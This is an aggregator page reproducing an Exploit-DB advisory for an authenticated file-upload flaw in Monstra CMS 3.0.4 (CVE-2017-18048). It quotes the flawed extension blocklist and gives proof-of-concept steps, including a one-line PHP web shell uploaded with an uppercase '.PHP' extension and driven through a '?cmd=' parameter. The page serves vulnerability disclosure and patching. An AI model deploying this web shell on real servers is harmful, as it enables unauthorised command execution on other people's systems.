Lucene search
+L

Monstra CMS 3.0.4 - Authenticated Arbitrary File Upload / Remote Code Execution (RCE)

🗓️ 18 Dec 2017 00:00:00Reported by Ishaq MohammedType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 200 Views

Monstra CMS 3.0.4 - Authenticated File Upload RCE vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
MonstraCMS Authenticated Arbitrary File Upload Exploit
12 Jul 201800:00
–zdt
zdt
zdt
Monstra CMS 3.0.4 - Remote Code Execution (Authenticated) Exploit
4 Jun 202100:00
–zdt
circl
Circl
CVE-2017-18048
10 Jul 201819:43
–circl
cnvd
CNVD
Monstra CMS Arbitrary File Upload Vulnerability
23 Jan 201800:00
–cnvd
cve
CVE
CVE-2017-18048
23 Jan 201806:00
–cve
cvelist
Cvelist
CVE-2017-18048
23 Jan 201806:00
–cvelist
exploitdb
Exploit DB
Monstra CMS - Remote Code Execution
6 Dec 201700:00
–exploitdb
metasploit
Metasploit
Monstra CMS Authenticated Arbitrary File Upload
18 Dec 201700:00
–metasploit
nvd
NVD
CVE-2017-18048
23 Jan 201806:29
–nvd
osv_cve
osv_cve
CVE-2017-18048
23 Jan 201806:29
–osv_cve
Rows per page
Exploit Title: Monstra CMS - 3.0.4 RCE
Vendor Homepage: http://monstra.org/
Software Link:
https://bitbucket.org/Awilum/monstra/downloads/monstra-3.0.4.zip
Discovered by: Ishaq Mohammed
Contact: https://twitter.com/security_prince
Website: https://about.me/security-prince
Category: webapps
Platform: PHP
Advisory Link: https://blogs.securiteam.com/index.php/archives/3559

Description:

MonstraCMS 3.0.4 allows users to upload arbitrary files which leads to a
remote command execution on the remote server.

Vulnerable Code:

https://github.com/monstra-cms/monstra/blob/dev/plugins/box/filesmanager/filesmanager.admin.php
line 19:

 public static function main()
    {
        // Array of forbidden types
        $forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
                                 'php', 'phtml', 'php3', 'php4', 'php5',
'phps',
                                 'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh',
'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
                                 'exe', 'scr', 'dll', 'msi', 'vbs', 'bat',
'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');

Proof of Concept
Steps to Reproduce:

1. Login with a valid credentials of an Editor
2. Select Files option from the Drop-down menu of Content
3. Upload a file with PHP (uppercase)extension containing the below code: (EDB Note: You can also use .php7)

           <?php

 $cmd=$_GET['cmd'];

 system($cmd);

 ?>

4. Click on Upload
5. Once the file is uploaded Click on the uploaded file and add ?cmd= to
the URL followed by a system command such as whoami,time,date etc.


Recommended Patch:
We were not able to get the vendor to respond in any way, the software
appears to have been left abandoned without support – though this is not an
official status on their site (last official patch was released on
2012-11-29), the GitHub appears a bit more active (last commit from 2 years
ago).

The patch that addresses this bug is available here:
 https://github.com/monstra-cms/monstra/issues/426

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation